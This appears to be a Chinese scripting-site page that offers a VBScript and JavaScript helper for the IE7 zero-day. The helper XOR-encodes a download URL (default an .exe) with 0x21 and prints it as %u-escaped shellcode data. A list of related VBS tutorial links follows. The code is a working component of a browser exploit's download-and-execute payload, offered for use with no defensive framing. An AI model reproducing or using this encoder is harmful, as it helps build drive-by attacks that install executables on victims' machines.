ie7 0day当中的shellcode的escape+xor21加密
<SCRIPT LANGUAGE="VBSCRIPT">
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>
您可能感兴趣的文章
- 01-10VBS教程:函数-Date 函数
- 01-10可以得到当前系统信息的脚本sysinfo.vbs
- 01-10使用VBScript 中的类组织开发
- 01-10用vbs将输出内容写到屏幕以覆盖当前屏幕上的内容的方法
- 01-10当某IP 连接我机器的3389端口 报警的脚本
- 01-10excel vba 高亮显示当前行代码
- 01-10当编辑框内容改变 对应的单元格也随着改变vba代码
- 01-10VBS中的字符串连接的性能问题
- 01-10vbs 获取当前目录的实现代码
- 01-10vbs 获取当前目录文件数量的代码(不包括子文件夹中的)